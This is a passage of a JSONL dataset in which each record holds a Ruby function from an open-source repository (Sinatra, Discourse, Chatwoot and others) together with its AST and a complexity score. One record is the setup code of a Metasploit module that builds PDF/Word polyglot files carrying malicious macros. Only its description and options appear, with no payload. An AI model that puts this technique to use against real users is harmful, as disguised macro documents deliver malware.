nd\",\"children\":[null,\"system_config\"]},\"metrics\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_config\"]},\"metrics\"]},\"corresponding_config_element\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"metrics\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Metrics\"]},\"DEFAULT_TYPE\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"use_gauge_metric=\",{\"type\":\"lvar\",\"children\":[\"prefer_gauge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Engine\"]},\"system_config\"]},\"workers\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"worker_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fluentd_worker_id\"]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"plugin\"]},{\"type\":\"ivar\",\"children\":[\"@plugin_type_or_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subsystem\"]},{\"type\":\"lvar\",\"children\":[\"subsystem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"help_text\"]},{\"type\":\"lvar\",\"children\":[\"help_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_metrics\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plugin_type_or_id\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subsystem\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"metrics\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singleton_class\"]},\"module_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_defined?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"get\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"metrics\"]}]}]}","id":"81618c3a-4b90-4e5a-8fc6-e47e9f79eee3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Maldoc in PDF Polyglot converter',\n        'Description' => %q{\n          A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file\n          structure of PDF.\n\n          If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.\n\n          The attack does not bypass configured macro locks. And the malicious macros are also not executed when the\n          file is opened in PDF readers or similar software.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)\n        ],\n        'Platform' => ['win'],\n        'References' => [\n          ['URL', 'https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html'],\n          ['URL', 'https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/'],\n          ['URL', 'https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/'],\n          ['URL', 'https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo']\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => [ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPath.new('FILENAME', [true, 'The input MHT filename with macro embedded']),\n        OptPath.new('INJECTED_PDF', [false, 'The input PDF filename to inject in (optional)']),\n        OptString.new('MESSAGE_PDF', [false, 'The message to display in the local PDF template (if INJECTED_PDF is NOT used)', 'You must open this document in Microsoft Word']),\n        OptEnum.new('OUTPUT_EXT', [true, 'The output file extension', '.doc', ['.doc', '.rtf']])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Maldoc in PDF Polyglot converter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file\\n\"]},{\"type\":\"str\",\"children\":[\"          structure of PDF.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The attack does not bypass configured macro locks. And the malicious macros are also not executed when the\\n\"]},{\"type\":\"str\",\"children\":[\"          file is opened in PDF readers or similar software.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mekhalleh (RAMELLA Sebastien)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The input MHT filename with macro embedded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"INJECTED_PDF\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The input PDF filename to inject in (optional)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MESSAGE_PDF\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The message to display in the local PDF template (if INJECTED_PDF is NOT used)\"]},{\"type\":\"str\",\"children\":[\"You must open this document in Microsoft Word\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"OUTPUT_EXT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The output file extension\"]},{\"type\":\"str\",\"children\":[\".doc\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\".doc\"]},{\"type\":\"str\",\"children\":[\".rtf\"]}]}]}]}]}]}]}]}","id":"75ceb067-dca5-40b0-a348-c8b3bbb9e23f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/filter_service.rb","start_line":101,"raw_source":"def set_count_for_all_conversations\n    [\n      @conversations.assigned_to(@user).count,\n      @conversations.unassigned.count,\n      @conversations.count\n    ]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_count_for_all_conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"assigned_to\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"unassigned\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"count\"]}]}]}","id":"7df19988-c915-42c1-badf-2b8591670600"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/attribute_cache_test.rb","start_line":110,"raw_source":"def test_previously_stored_cached_nils_are_busted_by_new_record_saves\n    assert_nil(AssociatedRecord.fetch_name_by_id(2))\n    AssociatedRecord.create(name: \"Jim\")\n    assert_equal(\"Jim\", AssociatedRecord.fetch_name_by_id(2))\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_previously_stored_cached_nils_are_busted_by_new_record_saves\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_name_by_id\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jim\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Jim\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_name_by_id\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"cbbd349a-b007-442f-b914-98b615e597de"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1167,"raw_source":"def invoke(&block)\n      res = catch(:halt, &block)\n\n      res = [res] if (Integer === res) || (String === res)\n      if (Array === res) && (Integer === res.first)\n        res = res.dup\n        status(res.shift)\n        body(res.pop)\n        headers(*res)\n      elsif res.respond_to? :each\n        body res\n      end\n      nil # avoid double setting the same response tuple twice\n    end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"catch\",{\"type\":\"sym\",\"children\":[\"halt\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"first\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[null,\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"pop\"]}]},{\"type\":\"send\",\"children\":[null,\"headers\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each\"]}]},{\"type\":\"send\",\"children\":[null,\"body\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"482e3fba-3407-4a4d-a9b5-899385650150"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/queries/chat/thread_participant_query.rb","start_line":25,"raw_source":"def self.call(thread_ids:)\n      return {} if thread_ids.blank?\n\n      # We only want enough data for BasicUserSerializer, since the participants\n      # are just showing username & avatar.\n      thread_participant_stats = DB.query(<<~SQL, thread_ids: thread_ids)\n        SELECT thread_participant_stats.*, users.username, users.name, users.uploaded_avatar_id FROM (\n          SELECT chat_messages.thread_id, chat_messages.user_id, COUNT(*) AS message_count,\n            ROW_NUMBER() OVER (PARTITION BY chat_messages.thread_id ORDER BY COUNT(*) DESC) AS row_number\n          FROM chat_messages\n          INNER JOIN chat_threads ON chat_threads.id = chat_messages.thread_id\n          INNER JOIN user_chat_thread_memberships ON user_chat_thread_memberships.thread_id = chat_threads.id\n            AND user_chat_thread_memberships.user_id = chat_messages.user_id\n          WHERE chat_messages.thread_id IN (:thread_ids)\n          AND chat_messages.deleted_at IS NULL\n          GROUP BY chat_messages.thread_id, chat_messages.user_id\n        ) AS thread_participant_stats\n        INNER JOIN users ON users.id = thread_participant_stats.user_id\n        ORDER BY thread_participant_stats.thread_id ASC, thread_participant_stats.message_count DESC, thread_participant_stats.user_id ASC\n      SQL\n\n      most_recent_participants = DB.query(<<~SQL, thread_ids: thread_ids)\n        SELECT DISTINCT ON (thread_id) chat_messages.thread_id, chat_messages.user_id,\n          users.username, users.name, users.uploaded_avatar_id\n        FROM chat_messages\n        INNER JOIN chat_threads ON chat_threads.id = chat_messages.thread_id\n        INNER JOIN user_chat_thread_memberships ON user_chat_thread_memberships.thread_id = chat_threads.id\n          AND user_chat_thread_memberships.user_id = chat_messages.user_id\n        INNER JOIN users ON users.id = chat_messages.user_id\n        WHERE chat_messages.thread_id IN (:thread_ids)\n        AND chat_messages.deleted_at IS NULL\n        ORDER BY chat_messages.thread_id ASC, chat_messages.created_at DESC\n      SQL\n      most_recent_participants =\n        most_recent_participants.reduce({}) do |hash, mrm|\n          hash[mrm.thread_id] = {\n            id: mrm.user_id,\n            username: mrm.username,\n            name: mrm.name,\n            uploaded_avatar_id: mrm.uploaded_avatar_id,\n          }\n          hash\n        end\n\n      thread_participants = {}\n      thread_participant_stats.each do |thread_participant_stat|\n        thread_id = thread_participant_stat.thread_id\n        thread_participants[thread_id] ||= {}\n        thread_participants[thread_id][:users] ||= []\n        thread_participants[thread_id][:total_count] ||= 0\n\n        # If we want to return more of the top N users in the thread we\n        # can just increase the number here.\n        if thread_participants[thread_id][:users].length < (MAX_PARTICIPANTS - 1) &&\n             thread_participant_stat.user_id != most_recent_participants[thread_id][:id]\n          thread_participants[thread_id][:users].push(\n            {\n              id: thread_participant_stat.user_id,\n              username: thread_participant_stat.username,\n              name: thread_participant_stat.name,\n              uploaded_avatar_id: thread_participant_stat.uploaded_avatar_id,\n            },\n          )\n        end\n\n        thread_participants[thread_id][:total_count] += 1\n      end\n\n      # Always put the most recent participant at the end of the array.\n      most_recent_participants.each do |thread_id, user|\n        thread_participants[thread_id][:users].push(user)\n      end\n\n      thread_participants\n    end","complexity_score":58.63,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"thread_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"thread_participant_stats\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT thread_participant_stats.*, users.username, users.name, users.uploaded_avatar_id FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT chat_messages.thread_id, chat_messages.user_id, COUNT(*) AS message_count,\\n\"]},{\"type\":\"str\",\"children\":[\"    ROW_NUMBER() OVER (PARTITION BY chat_messages.thread_id ORDER BY COUNT(*) DESC) AS row_number\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM chat_messages\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN chat_threads ON chat_threads.id = chat_messages.thread_id\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN user_chat_thread_memberships ON user_chat_thread_memberships.thread_id = chat_threads.id\\n\"]},{\"type\":\"str\",\"children\":[\"    AND user_chat_thread_memberships.user_id = chat_messages.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE chat_messages.thread_id IN (:thread_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND chat_messages.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY chat_messages.thread_id, chat_messages.user_id\\n\"]},{\"type\":\"str\",\"children\":[\") AS thread_participant_stats\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN users ON users.id = thread_participant_stats.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY thread_participant_stats.thread_id ASC, thread_participant_stats.message_count DESC, thread_participant_stats.user_id ASC\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_ids\"]},{\"type\":\"lvar\",\"children\":[\"thread_ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"most_recent_participants\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT DISTINCT ON (thread_id) chat_messages.thread_id, chat_messages.user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  users.username, users.name, users.uploaded_avatar_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM chat_messages\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN chat_threads ON chat_threads.id = chat_messages.thread_id\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN user_chat_thread_memberships ON user_chat_thread_memberships.thread_id = chat_threads.id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND user_chat_thread_memberships.user_id = chat_messages.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN users ON users.id = chat_messages.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE chat_messages.thread_id IN (:thread_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"AND chat_messages.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY chat_messages.thread_id ASC, chat_messages.created_at DESC\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_ids\"]},{\"type\":\"lvar\",\"children\":[\"thread_ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"most_recent_participants\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_recent_participants\"]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"mrm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrm\"]},\"thread_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrm\"]},\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrm\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrm\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploaded_avatar_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrm\"]},\"uploaded_avatar_id\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"thread_participants\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stats\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread_participant_stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"thread_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"thread_id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_count\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},\"length\"]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_PARTICIPANTS\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"user_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_recent_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploaded_avatar_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participant_stat\"]},\"uploaded_avatar_id\"]}]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_count\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"child